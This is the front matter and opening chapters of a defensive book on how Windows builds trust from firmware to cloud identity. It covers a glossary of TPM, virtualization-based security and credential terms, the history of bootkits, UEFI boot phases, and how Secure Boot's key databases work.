The Windows Trust Chain

How Modern Windows Builds Trust from Silicon to Cloud — and Where Attackers Break It

Parag Mali

Copyright

The Windows Trust Chain: How Modern Windows Builds Trust from Silicon to Cloud — and Where Attackers Break It

Copyright © 2026 Parag Mali.

This book is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (CC BY-NC-SA 4.0). You are free to share and adapt the material for noncommercial purposes, with attribution to the author, provided you license your adaptations under the same terms. A summary is at creativecommons.org/licenses/by-nc-sa/4.0/, and the full license text accompanies the source repository.

Commercial use, including selling this book or any derivative of it, requires the prior written permission of the author, who reserves all commercial rights. Requests should be directed to the author through the contact channels listed at paragmali.com.

The author asks that this work not be used to train machine-learning or generative-AI models.

The information in this book is provided on an "as is" basis, for educational and defensive purposes. While every architectural claim has been researched to primary sources and, where possible, verified against a live system, the author makes no warranty of fitness for any particular purpose and accepts no liability for any loss or damage arising from its use.

All trademarks are the property of their respective owners. Windows, Azure, Entra, Hyper-V, and related names are trademarks of Microsoft Corporation. This book is an independent work and is not affiliated with, authorized by, or endorsed by Microsoft Corporation.

The provenance of every piece of live evidence in this book (the machine it was captured on, the build, the timestamp, the probe, and a SHA-256 of the raw output) is recorded alongside it. See the Colophon for how the book was built and how its evidence is verified.

First edition · 2026

Preface

Every few years, someone dumps lsass.exe and the industry remembers that a Windows machine is only as trustworthy as the weakest link in a very long chain. The hash that comes out of that memory dump is not the beginning of the story or the end of it. Behind it sits a credential-isolation trustlet; behind that, a hypervisor; behind that, a measured boot; behind that, a key fused into silicon the operating system never sees. Modern Windows is not secured by one feature. It is secured by a chain: each link making a promise to the link above it, all the way from the CPU's first instruction to a token your identity provider honors in the cloud.

This book walks that chain, link by link, in the order trust is actually established: silicon → kernel → credentials → cloud. For each link it answers three questions a serious practitioner has to be able to answer: How does this link establish trust? How can I prove it is actually doing so on a real machine? And where, exactly, does it break? The last question is not an afterthought. Every link in this chain has a documented way around it, and a reader who understands the mechanism but not its limits is more dangerous than one who knows neither.

Who this is for

This is a book for Reasoners: security architects, detection engineers, advanced blue-teamers, and threat modelers who need to reason precisely about what a Windows platform actually protects. It is not an exploitation manual. When an attack appears in these pages, it appears as gap analysis: the boundary of what a defense was ever going to cover, so you can decide what compensating control has to live somewhere else. You do not need to be an expert in all four domains the chain spans (almost nobody is), which is why the book opens with a short Foundations chapter that levels the vocabulary before Part I begins.

A word about how this book was written

This book was produced by a multi-agent writing pipeline that I designed and operate. I chose the topics, set the editorial bar, audited the output, and own every error that remains. That should lower your trust in these pages, not raise it, and so it should: a pipeline of language models is exactly the kind of author you must not take on faith. So this book does not ask you to. It is built around a single, uncomfortable discipline, the same one it demands of every link in the chain: an author who cannot be taken on faith must show his work, and hand you the means to check it.

So the book shows it. Wherever a claim can be checked against a live Windows machine, you will find the evidence inline: the exact probe, the verbatim output, and a SHA-256 hash of that output recorded at capture time. A build gate re-hashes every quoted capture against its manifest and refuses to publish the chapter if a single character was changed. The prose is reasoned and, like all reasoning, can be wrong; the numbers are captured, hashed, and reproducible, and you can re-run the probe yourself. Where a mechanism cannot be captured on the lab machine (the parts of the chain that live in physical silicon a virtual machine cannot expose), the book says so, in those words, rather than dressing a documented claim up as a measured one. That honesty, made mechanical, is the whole point.

How to read it

You can read the chain front to back, which is how it was built to be read, or drop into any link you own and use the Foundations chapter and each chapter's inline Foundations section to fill the gaps. Either way, do the one thing the book keeps asking you to do: don't take the chapter's word for it. Run the probe. The trust chain is only worth anything if you can verify it, and so is a book about it.

— Parag Mali, 2026

How to Read This Book

This book is one argument in four numbered parts, a watching interlude, and a finale. It rewards being read in order, but it is built so you can also drop into any link you own.

The numbered parts follow the chain

• Part I · Silicon. The hardware root of trust: Secure Boot, the TPM, Pluton, measured boot, and remote attestation. Where the chain's first promise is made.
• Part II · Kernel & Code. The isolated core and the code it admits: Virtualization-Based Security, the Secure Kernel, VBS trustlets, code integrity, the hypervisor as a security boundary, Protected Process Light, process mitigations, Authenticode, and App Control.
• Part III · Credentials & Access. The secrets and who may spend them: Mimikatz and the credential-theft decade, Credential Guard, the death of NTLM, Kerberos and KRBTGT, the long arc from pass-the-hash to pass-the-PRT, Windows Hello, WebAuthn, access control, the integrity-level stack, and SeImpersonate.
• Interlude · Watching the Chain: ETW and the telemetry substrate that lets defenders observe what the chain did.
• Part IV · Cloud. Trust off the box: Zero Trust, Continuous Access Evaluation, and Confidential VMs.
• Finale · When the Chain Snaps: Storm-0558, the case study for a cloud signing key inheriting more authority than the lower links meant to grant.

Before Part I, a short Foundations chapter establishes the shared vocabulary the chain spans. If you live in one domain and are visiting another, read it first; if a later chapter assumes a term you don't have, its inline Foundations section will catch you up just in time.

Most chapters use the same six beats

1. The Reasoner's question: the one question the chapter exists to answer, after a trust-chain ledger places the link in the chain.
2. Foundations: the vocabulary this chapter assumes, in brief.
3. How Windows implements it: the architecture, bottomed out on mechanism.
4. Proof on a live machine: captured evidence where the lab can produce it, or documented command surfaces where it cannot.
5. Where this link breaks: the honest gap analysis.
6. What it means for you: a residual-risk table and a probe you can run.

The evidence is tagged: read the mark and the color

Every block of machine evidence carries a provenance tag. The tag tells you exactly how much to trust it:

• 🟢 CAPTURED: verbatim output from a live Windows 11 machine, recorded with a SHA-256 at capture time and re-verified by a build gate. The strongest claim the book makes. You can reproduce it with the command shown.
• 🟡 EMULATED: a real value whose root is provided by the virtualization host rather than physical silicon (for example, a virtual TPM's PCRs on a cloud VM). Real, but rooted in emulation, and labeled so.
• 🔵 DOCUMENTED: a mechanism that lives in physical silicon a virtual machine cannot expose (Boot Guard, Pluton, the firmware fuses), or a value not captured on the lab machine. Explained from the authoritative source and the reproduce command given, but not a measurement the book is making.

When the chapter shows you a 🔵 block, it is telling you the truth about its own limits. That is deliberate. A book that cannot show you the silicon should say so, not pretend.

Run the probes

The "what it means for you" beat in each chapter ends with a verify-it-yourself probe (usually one line of PowerShell) that you can run on your own machine. Where the chapter shows 🟢 evidence, that probe is the same one that produced it. The fastest way to internalize the trust chain is to watch it answer on a box you control.

A note on builds: Windows security changes fast, and the live evidence here was captured against a specific build, stamped on each capture. Treat the mechanism as durable and the exact value as a snapshot, and re-run the probe to see today's.

Prologue

What "trust" means here

Pull the memory out of a modern Windows machine while a user is signed in, walk to the place the password hash has lived since 1993. You will find nothing. Not an empty file. An encrypted nothing: a blob whose key sits one privilege boundary away, in a second operating system your administrator account cannot touch. That absence is not an accident or an oversight. It is the visible end of a chain of decisions that begins before the operating system exists, in a key fused into silicon that Windows itself never gets to see.

This book is about that chain.

A modern Windows machine is not secured by a feature. It is secured by a sequence of promises, each one made by a lower, smaller, more trusted component to the larger one above it. The CPU promises it executed only firmware a manufacturer signed. The firmware promises it measured everything it loaded into a tamper- evident log. The hypervisor promises it walled off a second world the normal kernel cannot enter. That second world promises it will hold your credentials and hand back only answers, never keys. And the cloud, finally, promises it will honor a token only while the device that earned it still looks trustworthy. Break any one promise and the promises above it are worth exactly nothing. This is why the order matters, and why this book follows it.

Trust is inherited, never asserted

The reason the chain runs in that direction (silicon first, cloud last) is the single idea the whole book turns on: trust cannot be asserted by the thing that wants to be trusted. A program that says "I am safe to run" tells you nothing; a kernel that says "I have not been tampered with" is exactly what a tampered kernel would say. Trust has to be inherited from something lower that the asserting component cannot influence. Follow that requirement down far enough and you arrive at the only place a Windows machine can put its root: a secret in hardware, fixed at manufacture, that no software (not a driver, not the kernel, not the hypervisor) can read or forge. Everything above it is a structure for extending that one unforgeable fact upward, one verifiable step at a time.

That is what a chain of trust is. Each link does two things: it verifies the link below it before extending trust, and it makes a promise the link above can rely on. The book is organized as the chain is built:

• Part I: Silicon. The root: Secure Boot, the TPM and Pluton, measured boot, and the attestation that lets a remote party believe any of it. Where the first, unforgeable promise is made.
• Part II: Kernel & Code. The isolated core and the code it admits: Virtualization-Based Security, the Secure Kernel, code integrity, the hypervisor as a boundary the ordinary kernel cannot cross, and the process-level controls (Protected Process Light, mitigation policies, Authenticode, App Control) that decide what is allowed to run.
• Part III: Credentials & Access. The secrets and who may spend them: Mimikatz and the theft decade, Credential Guard, the retirement of NTLM, Kerberos and KRBTGT, the long war over credential replay, Windows Hello's bet that the safest secret is the one that never existed, WebAuthn, and the access-control machinery (tokens, integrity levels, SeImpersonate) the whole fight is waged over.
• Interlude: Watching the Chain. ETW, the telemetry substrate that lets defenders observe what every link actually did.
• Part IV: Cloud. Trust carried off the box: Zero Trust, Continuous Access Evaluation, and Confidential VMs.
• Finale. A forensic account of what happens when a single stolen key snaps the chain near the top.

A promise you can hold someone to

It is easy to talk about "promises" and "boundaries" as metaphors. Microsoft does not have that luxury. Microsoft publishes a document, the Microsoft Security Servicing Criteria, that draws a hard line between the boundaries Microsoft commits to defending with a security update and the ones it merely tries to make hard to cross. A bug that lets ordinary code read the Credential Guard trustlet's memory is a serviced boundary violation; a bug that lets an administrator read another administrator's data on the same machine, by the same document, is not. Where that line falls decides which "weaknesses" become urgent patches and which become documentation.

This book takes that document seriously, because it is the difference between a defense and a decoration. When a chapter says a link "protects" something, it means there is a boundary Microsoft has committed to keep. And when a chapter says a link "does not cover" something, it usually means the line was deliberately drawn to leave that case outside. The most useful thing a security architect can know about any Windows defense is not how it works but where its promise ends. So every chapter walks to that edge on purpose.

The honest part

Every link in this chain has a documented way around it. The TPM's low-pin-count bus can be sniffed for secrets in transit; the hypervisor has had escapes; Credential Guard hands derived material to anyone who compromises the agent that calls it; a cloud signing key, stolen once, forged tokens that unlocked mailboxes across approximately twenty-five organizations. A book that walked the chain link by link and pronounced each one "secure" would be lying by omission. So each chapter ends at the same place: the honest gap analysis, the boundary of what the link was ever going to cover, so you can decide what compensating control has to live somewhere else.

That is also why this book shows its work. Wherever a claim could be checked against a live Windows machine, you will find the evidence inline: the exact command, the verbatim output, and a cryptographic hash that proves the output was not edited to fit the argument. Where the claim lives in physical silicon a virtual machine cannot expose, the book says so plainly rather than dressing a documented fact up as a measured one. How to Read This Book explains the three tags that make that distinction visible. Use them. The trust chain is only worth anything if you can verify it, and so is a book about it.

The chain starts where trust has to start: below the operating system, in the silicon. Turn the page.

Chapter 0 · Foundations

A shared vocabulary

The trust chain spans four worlds (silicon, kernel, credentials, cloud) and almost no one is fluent in all four. A firmware engineer who can recite the PCR allocation may not know what a service ticket's session key is for; an identity architect who lives in Conditional Access may never have heard the term trustlet. This chapter levels that ground. It is not a textbook on any of the four domains; it is the minimum shared vocabulary the rest of the book leans on, with one line on why each term matters to trust. Read what you need and skip what you know: each later chapter also carries a short Foundations sidebar for its own terms.

0.1 Trust, the TCB, and boundaries

Trusted Computing Base (TCB). The set of components that must be correct for a security guarantee to hold. The art of the trust chain is making the TCB for each guarantee as small as possible: Credential Guard's whole point, for example, is to remove the enormous NT kernel from the TCB for your password hash and replace it with a tiny trustlet. When you read "moves X out of the TCB," read "shrinks the set of things that can betray X."

Root of trust. The one component whose trustworthiness is assumed rather than verified, because there is nothing beneath it to verify it. On a Windows machine the root is in silicon: a key fixed at manufacture. Everything else is verified by something below it; the root is where the regress stops.

Security boundary. A wall the platform commits to defending: crossing it without authorization is a serviceable vulnerability. Microsoft enumerates which boundaries it will fix with a security update (the kernel/user boundary, the hypervisor/guest boundary, the VTL0/VTL1 boundary) and which it will not (one administrator reading another's data on the same box). "Is this a security boundary?" is the first question to ask of any defense, because it tells you whether a bypass is a bug Microsoft will patch or a documented limitation you must design around.

0.2 The silicon tier

TPM (Trusted Platform Module). A small, tamper-resistant chip (or firmware enclave) that holds keys, performs a few fixed cryptographic operations, and crucially measures the boot. Keys generated in a TPM can be made non-exportable: they are used inside the chip and never leave it. This is what lets a machine prove "this key is on this specific device" rather than merely "someone holds this key."

PCR (Platform Configuration Register). A TPM register you cannot write, only extend: a new value is hashed together with the old one, so a PCR ends up a one-way summary of everything measured into it, in order. Tamper with any step and the final PCR no longer matches. PCRs are how a machine binds a secret to "the exact software state I booted."

Measured boot vs. Secure Boot. Two different jobs, often confused. Secure Boot refuses to run firmware/bootloaders that are not validly signed. It prevents. Measured boot records what ran into the PCRs whether or not it was allowed. It remembers. Prevention stops the known-bad; measurement lets you detect the unknown-bad after the fact and bind secrets to a known-good state.

Sealing. Encrypting a secret under a TPM policy so it can be decrypted ("unsealed") only when the PCRs match a specified state. BitLocker seals its key to measured boot so that booting a tampered OS (or moving the disk to another machine) leaves the key locked.

Attestation. The TPM signing a statement about the machine's measured state with a key only it holds, so a remote party (your identity provider, a management service) can believe the boot was healthy without trusting the machine to self-report. Attestation is how the silicon root's promise travels off the box.

Pluton. A security processor Microsoft places on the CPU die and updates through Windows Update: a root of trust that, unlike a discrete TPM on a bus, has no exposed wires to sniff and can be patched after a flaw is found.

0.3 The kernel tier

Rings, user mode, kernel mode. The CPU enforces privilege levels. Your applications run in user mode (ring 3), mediated; the NT kernel and drivers run in kernel mode (ring 0), with full control of the machine. Historically, anything in kernel mode could read anything. Which is why so much of this book is about putting things out of reach of ring 0.

Driver. Kernel-mode code, often third-party. A signed-but-vulnerable driver is the master key of modern Windows attacks ("bring your own vulnerable driver"), because loading one legitimately grants ring-0 power that defeats user-mode defenses.

Hypervisor / VBS / VTL0 / VTL1. Windows runs its own hypervisor beneath the kernel and uses it to split the machine into two Virtual Trust Levels. VTL0 is the normal world: the NT kernel, drivers, your code, and any malware. VTL1 is a second, smaller secure world the hypervisor isolates from VTL0 using the CPU's second-level address translation (SLAT), so VTL0 cannot map VTL1's memory no matter what privilege it holds. This whole arrangement is Virtualization-Based Security (VBS). It is the structural trick the credential and code-integrity chapters depend on: a boundary the all-powerful ring-0 attacker cannot cross.

Secure Kernel. The kernel that runs in VTL1, much smaller than the NT kernel and therefore a far smaller TCB. It hosts the trustlets.

Trustlet. A small, Microsoft-signed user-mode process that runs in VTL1 behind the boundary. LsaIso.exe (Credential Guard) is Trustlet ID 1. A trustlet's identity is gated by two specific Microsoft signing EKUs the Secure Kernel checks at load (detailed in Chapter 7, VBS Trustlets), so VTL0 cannot impersonate one.

HVCI (Hypervisor-Enforced Code Integrity). Uses the hypervisor to guarantee that any executable page in the kernel is signed and immutable, and any writable kernel page is non-executable. It closes the unsigned-code-in-the-kernel door even against ring 0.

0.4 The credential tier

Authentication vs. authorization. Authentication establishes who you are; authorization decides what that identity may do. This tier is mostly about protecting the secrets that prove who you are.

LSASS (lsass.exe). The Local Security Authority Subsystem Service: the process that performs authentication and, historically, held the secrets it needed. Dumping LSASS memory was the canonical way to steal credentials for two decades.

SSP (Security Support Provider). A pluggable protocol module loaded into LSASS: NTLM (msv1_0), Kerberos, cloudap for Entra, Schannel for TLS. The SSP speaks the wire protocol; the question this book keeps asking is where the key it uses lives.

NTLM hash / NTOWF. The "NT One-Way Function" is the MD4 of the user's password. Windows authenticates by proving possession of this hash, which means the hash is password-equivalent: steal it and you can authenticate as the user without ever cracking the password. That equivalence (Pass-the-Hash) is the original sin this entire tier exists to contain.

Kerberos: KDC, TGT, service ticket, session key. In a domain, a Key Distribution Center (the domain controller) issues a Ticket-Granting Ticket (TGT) after you prove your long-term key (derived from your password). You then exchange the TGT for service tickets, each carrying a fresh session key, to reach individual services. Two distinctions matter throughout the book: the long-term key (durable, the thing worth isolating) versus the session keys/tickets (per-session, but still in LSASS memory while in use), and the TGT (your domain-wide proof) versus a single service ticket.

DPAPI (Data Protection API). Windows' standard way to encrypt per-user secrets at rest (saved passwords, certificates, the Credential Manager vault), keyed ultimately off the user's credentials. When Credential Guard isolates those credentials, the secret DPAPI's chain ultimately depends on sits behind the VTL1 boundary, even though the DPAPI master-key hierarchy itself stays in the normal OS.

Token, privilege, impersonation. After authentication, a process carries an access token describing its identity and privileges. Some privileges (SeImpersonatePrivilege, SeDebugPrivilege) are powerful enough to be escalation primitives in their own right, and tokens, unlike credentials, are not what Credential Guard protects.

PPL (Protected Process Light). An NT-kernel mechanism that wraps a process (such as LSASS, via RunAsPPL) so only equally-or-higher-signed code may tamper with it. (Its RunAsPPL value follows the scheme 1 = enabled with a UEFI lock, 2 = enabled without: the same "without UEFI lock" convention you meet again at LsaCfgFlags in Chapter 15.) Useful, but enforced by the same kernel an attacker is trying to subvert. Which is exactly why it is complementary to, not a replacement for, the VTL1 isolation of Credential Guard.

0.5 The access-control tier

Security principal and SID. Every user, group, computer, and service is a principal identified by a Security Identifier (SID). Authorization is decided by comparing the SIDs in a caller's token against the SIDs in an object's permissions.

Access token. After authentication, every process carries a token listing its user and group SIDs, its privileges, and its integrity level. The token is the runtime answer to "who is this code, and what may it do."

ACL / DACL / SACL / ACE. A securable object carries a Discretionary Access Control List (who may do what) and a System Access Control List (what to audit), each a list of Access Control Entries (ACEs). The check walks the DACL against the token.

Privilege. A named right held in a token that is not tied to a specific object: SeDebugPrivilege (open any process), SeImpersonatePrivilege (act as a token you obtained), SeBackupPrivilege (read anything). Some privileges are escalation primitives in their own right.

Integrity level (MIC) and UIPI. Mandatory Integrity Control tags every process and object with an integrity level (Low, Medium, High, System). A lower-integrity process cannot write to a higher-integrity object, and User Interface Privilege Isolation blocks it from sending window messages upward: the mechanism behind browser and AppContainer sandboxes.

UAC and elevation. User Account Control splits an administrator's logon into a filtered (Medium-integrity) token and a full (High-integrity) one; elevation swaps to the full token. Whether that boundary is a security boundary is a theme of the Integrity-Level Stack chapter.

0.6 Code, application control, and detection

Authenticode. Microsoft's code-signing scheme: a PE file carries (or a catalog vouches for) a signature the OS verifies before trusting the code. The crypto foundation under driver signing, WDAC, and SmartScreen.

Catalog file. A detached signature listing the hashes of many files, so unsigned-but-cataloged binaries (most of Windows) can still be verified.

WDAC / App Control / AppLocker. Application-control engines that allow or deny code by signer, hash, or path: the difference between "anything signed may run" and "only what I listed may run."

ETW. Event Tracing for Windows: a high-throughput, in-kernel event pipeline originally built for performance tracing that became the telemetry substrate EDR sensors consume. The interlude returns to ETW as the book's observation layer.

EDR. Endpoint Detection and Response: the sensor-plus-analytics layer that watches process, file, registry, and network events (largely via ETW and kernel callbacks) to detect attacker behavior the preventive controls did not stop.

Sysmon. A Microsoft Sysinternals driver that turns selected ETW and kernel events into a richer, durable event log: a common bridge from raw telemetry to a SIEM.

0.7 The cloud tier

Microsoft Entra ID. Microsoft's cloud identity provider (formerly Azure AD). On modern Windows, the credential chain does not end at the domain controller; it extends to Entra, and the device itself becomes an identity.

Primary Refresh Token (PRT). The cloud analog of the long-term credential: a token, issued to a joined device, that mints the access tokens applications use. On capable devices it is bound to a TPM key, so the PRT is useful only on the device that earned it: the cloud version of "non-exportable."

Access token / refresh token. Short-lived access tokens authorize individual API calls; longer-lived refresh tokens (like the PRT) obtain new ones. Stealing a token is the cloud-era equivalent of stealing a hash. Which is why binding tokens to devices, and re-checking them continuously, became necessary.

Conditional Access / Continuous Access Evaluation (CAE). Policy that decides whether a token should be honored right now, based on device health, location, and risk, and, with CAE, can revoke a still-valid token mid-session when conditions change. This is the cloud's answer to "the token was fine when issued but the world changed."

Device join state. Whether a machine is domain-joined, Entra-joined, or hybrid determines which credentials and tokens it holds and how they are protected; the diagnostic dsregcmd /status reports it.

0.8 Reading the evidence

Finally, the vocabulary for the book's own claims. Every block of machine evidence carries one of three tags, and the tag tells you exactly how much to trust it:

• 🟢 CAPTURED: verbatim output from a live Windows machine, recorded with a SHA-256 at capture time and re-checked by a build gate. Reproducible with the command shown.
• 🟡 EMULATED: a real value whose root is provided by the virtualization host rather than physical silicon (a virtual TPM's PCRs on a cloud VM, for example).
• 🔵 DOCUMENTED: a mechanism in physical silicon a virtual machine cannot expose, or a value not captured on the lab machine; explained from the authoritative source, with the reproduce command, but not a measurement the book is itself making.

Those tiers are not a list but a chain: each link trusts the one beneath it, and the whole book climbs that spine from the silicon upward.

With the vocabulary in hand, we can start where trust has to start: in the silicon.

Secure Boot

What this link must prove

Windows boots through a chain of verifications and measurements that runs from CPU reset to your desktop. UEFI Secure Boot verifies the boot manager; Trusted Boot extends signature and code-integrity policy checks to kernel-mode components; Measured Boot records the path into TPM PCRs, with DRTM later seeding PCR 17-22 from a CPU-vendor-signed late-launch anchor. After fifteen years of BIOS rootkits, MBR bootkits, and ESP-resident bootkits, the dominant Windows boot-manager failures since 2022 have clustered in one gap: between patching a vulnerable Microsoft-signed binary and revoking it in dbx [1,2,3]. Other breaks sit below the verifier (LogoFAIL) or outside default Secure Boot enforcement (Bootkitty as a self-signed Linux PoC) [4,5]. Pluton is Microsoft's longer-term answer to the firmware-update-cadence side of that problem, not a deployed replacement for DXE Secure Boot today [6,7].

Eight seconds in 2010, and everything that could already be wrong

Picture a small business owner in December 2010. She unplugs her three-year-old Dell, drives it home, and powers it on. The fan spins. The BIOS chimes. The Windows 7 logo appears. By the time she types her password and the desktop loads, eight seconds have passed.

In those eight seconds, a TDL-4 bootkit that has been on disk for two weeks has already done its work. The infected master boot record patched the operating system loader in memory before the kernel finished initializing. Driver Signature Enforcement, the policy that was supposed to keep unsigned kernel drivers out, was disabled before the kernel checked for it. A ring-0 rootkit is now staged inside ntoskrnl.exe. Kaspersky's June 2011 analysis counted 4,524,488 infected machines in the first three months of 2011 alone [8]. The owner notices nothing. By the time she authenticates, the operating system that authenticates her is loading code the operating system never agreed to load.

The structural question raised by that scene is the question this chapter exists to answer: what would it take for Windows to know, by the time the user types a password, that the machine has not been tampered with since power-on?

The answer Microsoft began shipping with the Windows 8 generation is a chain [9,10]. UEFI Platform Initialization brings up the firmware. UEFI Secure Boot verifies the boot manager. Trusted Boot extends the signature check through winload.efi, the kernel, and every boot-start driver. Early Launch Anti-Malware classifies subsequent drivers. The Secure Kernel comes up in a hardware-isolated execution mode. Through every one of those rungs, a parallel rail (Measured Boot) extends a hash of each component into the TPM's Platform Configuration Registers and records a separate, replayable event log, so that what was loaded can be proven later, even if the verifier itself was bypassed.

That chain is the spine of this chapter, walked rung by rung, with each place it has been broken in the wild. For Windows boot-manager bugs, the recurring operational invariant is the gap between patched and revoked, not a break in the signature primitive.

Secure Boot is easy to describe badly: "the firmware checks a signature." The full Windows chain is more demanding. Firmware may be protected by silicon-rooted mechanisms below it, depending on platform support and OEM provisioning; the firmware has to carry a database of allowed and forbidden signers; the database has to be updated without bricking machines; Windows has to continue the verifier after the firmware hands off; and a parallel TPM measurement rail has to make the result attestable later. The rest of the chapter walks that full depth because the failures only make sense when the whole chain is visible.

Before there was a chain to walk, there was no chain at all.

Before Secure Boot: sector zero and the fiction of OS-level security

Ask what was actually verified during a 2011 PC boot, and the answer is: one byte pair. The 0x55AA magic at the end of the 512-byte master boot record. That is a format check, not an authenticity check. The 16-bit BIOS power-on self test loaded sector zero of the boot device into memory at 0000:7C00 and jumped [11]. No signature. No measurement. Whatever was at sector zero, ran.

That architectural fact had been the structural lesson of computer-security history for a quarter century. Stoned, the boot sector virus anonymously attributed to a student in Wellington, New Zealand in 1987, demonstrated it without malicious intent: the virus was a prank that displayed "Your PC is now Stoned!" and propagated by writing itself to the boot sector of every disk a victim machine touched [12]. Brain (Pakistan, 1986) [13] and Michelangelo (1991) [14] were the same lesson at scale. The lesson was not that those particular authors were dangerous. It was that any code reaching sector zero ran with implicit privilege.

Bootkit. A class of malware that survives operating-system reinstallation and antivirus scanning by infecting code that runs before the operating system loads: traditionally the master boot record or the partition's volume boot record, more recently the EFI System Partition or the firmware itself. A bootkit's defining property is that the operating system it boots is one the bootkit itself chooses to load.

The modern bootkit family arrived in 2005 and ran undefended for the next seven years. Derek Soeder and Ryan Permeh of eEye published BootRoot at Black Hat USA 2005 [15], a proof of concept that hooked the BIOS interrupt 13h disk-read service before any operating system loaded and intercepted Windows kernel images on the way to memory. Vbootkit (Vipin and Nitin Kumar) followed in 2007, demonstrating the same primitive on Vista [16]. Mebroot (the malware family Sinowal/Torpig used) brought the technique into actual victim populations in the late-2007 era [17]. By 2011, TDL-3 and TDL-4 had pushed the lineage into the millions of infected hosts [8].

The category took its final structural step on 13 September 2011, when Marco Giuliani at Webroot's threat lab disclosed Mebromi, the first BIOS rootkit found in the wild. Mebromi targeted Award BIOS firmware. It used the legitimate Phoenix CBROM.EXE utility (the Phoenix-Award firmware-image assembly tool, after Phoenix acquired Award in 1998) to splice malicious code into the firmware ROM image, then used the platform's BIOS flashing routine to write the modified ROM back to the chip. On every subsequent boot, the firmware itself reinstalled the rootkit's MBR before any operating system existed to scan for it [18].

The structural argument that Mebromi made unanswerable: there was no measurement endpoint and no signature verifier anywhere below the operating system. Every operating-system-level defense was rhetorical against this layer. Kernel-Mode Code Signing, the policy Windows Vista x64 had introduced in 2006 [19], was enforced by code that the bootkit could rewrite before the kernel started checking. Driver Signature Enforcement was a setting the operating system wrote into a memory location the operating system could not yet defend.

Trust must be rooted in something the operating system cannot rewrite. That means the chain has to start before the operating system exists. The next rung is firmware itself.

UEFI platform initialization: SEC, PEI, DXE, BDS, and where Secure Boot actually lives

If Secure Boot starts at the operating-system loader, which exact piece of firmware decides whether the operating-system loader is allowed to run, and what verifies that piece? The answer is a four-phase pipeline that almost no Windows engineer ever writes about. It is also where every modern firmware attack lands.

UEFI Platform Initialization (PI). The Unified Extensible Firmware Interface Platform Initialization specification defines the internal architecture firmware uses to bring a system up. It splits boot into four phases: Security (SEC), Pre-EFI Initialization (PEI), Driver Execution Environment (DXE), and Boot Device Selection (BDS). Standard Windows usage of "UEFI" almost always means the externally-visible behavior exposed by BDS and the EFI runtime services, not the multi-phase internal pipeline the firmware uses to get there.

The four phases, per the TianoCore reference flow [20]:

• SEC. The Security phase begins at processor reset. On typical x86 PCs, the reset path enters early firmware in SPI flash, with platform-specific mechanisms such as Boot Guard or PSB authenticating it when they are enabled for enforcement. SEC's job in the PI model is to establish the root of trust in the firmware: before any flexible code path can be taken, the firmware has committed to an instruction stream the operating system cannot influence.
• PEI. Pre-EFI Initialization brings up DRAM, configures the memory controller, populates Hand-Off Blocks (HOBs) the later phases consume, and dispatches the small drivers needed to reach a state where general firmware code can run. SEC and PEI together are the part of firmware that fits in the few hundred kilobytes of cache-as-RAM the CPU offers before main memory is up.
• DXE. The Driver Execution Environment hosts most of what we think of as firmware: the disk drivers, the network stack, the human-interface drivers, the USB stack, and Secure Boot's image verifier. This is where LoadImage() runs db/dbx checks against incoming PE/COFF binaries. DXE phase code is several megabytes on a modern x86 platform.
• BDS. Boot Device Selection reads the BootOrder UEFI variable, picks a boot entry, hands the platform off to the operating system loader, and (in normal operation) never runs again until the next reboot.

There can be one enforced rung below SEC. Intel Boot Guard verifies the firmware via a CPU-microcode-loaded Authenticated Code Module signed by Intel [21]; AMD Platform Secure Boot performs a similar role from the AMD Platform Security Processor (PSP), an ARM-based co-processor embedded on the SoC [22,23]. When configured for enforcement, both run before SEC can begin; when absent, disabled, fused for measurement-only policy, or misprovisioned, they are not a universal Secure Boot invariant. Intel introduced Boot Guard on platforms based on the Haswell processor family (4th-generation Core, Lynx Point PCH) in 2013 [24,21]; the OEM commits the verification key at provisioning, so Boot Guard support is a chipset-and-OEM property rather than a bare CPU-model property [24,22]. AMD's PSB followed on EPYC server parts and was rolled out to Ryzen Pro platforms over the next several years; the PSP itself has been present on AMD client and server parts since around 2013 [23], but PSB is a distinct firmware-signing flow that uses it [22].

The conclusion is the part most engineers skip. By the time bootmgfw.efi is verified, several megabytes of DXE-phase code have already executed. Anything that compromises the DXE compromises Secure Boot from below: the verifier itself is now the attacker's code. That is the precondition that LogoFAIL exploits, and it is the reason "Secure Boot starts at the OS loader" is the wrong mental model.

NIST recognized the structural problem early. NIST Special Publication 800-147 BIOS Protection Guidelines (April 2011) [26] articulated the BIOS-update-signing baseline two years before Boot Guard shipped a hardware-rooted answer. SP 800-147 said only that firmware updates must be signed; it did not say who must verify the signing key. Boot Guard and PSB are platform-specific hardware-rooted answers to that gap when enforcement is enabled, with the OEM holding the verification key in OTP fuses.

Now we have a place to put a verifier. The next question is what it verifies, and who signed the allowlist.

Secure Boot itself: PK, KEK, db, dbx, and the Microsoft monoculture

Secure Boot is four UEFI variables, one Authenticode hash per binary, and one centralized root of trust. The technical content of this section is not the hard part. The social and operational content (who holds which key, and what happens when a signed binary becomes vulnerable) is the rest of the chapter.

The four authenticated UEFI variables, defined in UEFI 2.3.1 (April 2011) and refined through the current 2.11 specification (December 16, 2024) [27]:

• PK: the Platform Key. The OEM holds the private half. Whoever holds PK can authorize updates to KEK, db, and dbx; on implementations that permit it, that authority can also clear PK and drop the platform into Setup Mode, disabling normal Secure Boot enforcement.
• KEK: the Key Exchange Key. Both the OEM and Microsoft hold KEKs. KEK is the trust anchor for db and dbx updates. A KEK-signed update can add or remove entries in db and dbx without touching PK.
• db: the signature database. This is the allowlist: hashes the firmware will accept, plus certificates whose signers it will accept. db typically contains a small handful of entries.
• dbx: the forbidden signatures database. The denylist: hashes and certs the firmware must refuse, even if they would otherwise pass db.

Authenticated UEFI Variables (PK, KEK, db, dbx). Four EFI variables defined by the UEFI specification that together form Secure Boot's trust hierarchy. Each variable is authenticated: any update must be signed by a key one rung up the hierarchy. PK signs updates to itself and KEK; KEK signs updates to db and dbx (a PK holder can replace KEK and thereby control db and dbx indirectly). Microsoft requires the Microsoft Corporation KEK CA to be present in KEK on every Windows-certified PC, so that Microsoft can push db and dbx updates without OEM cooperation per device.

The verification algorithm runs every time UEFI calls LoadImage() on a PE/COFF binary, in this order:

1. Hash the PE/COFF image. The Authenticode digest excludes the signature directory and the checksum field, so the hash is computed over the parts of the image that should not change between signing and loading [28].
2. If the hash matches a hash in dbx, reject.
3. Else if the signer's certificate chains to a certificate in dbx, reject.
4. Else if the hash matches an entry in db, accept. Else if the signer chains to a certificate in db, accept.
5. Else, reject.

Microsoft's WHCP requires firmware components to be signed with at least RSA-2048 and SHA-256 [27]. That floor is generous by 2026 standards but has held without serious controversy since the original UEFI 2.3.1 release.

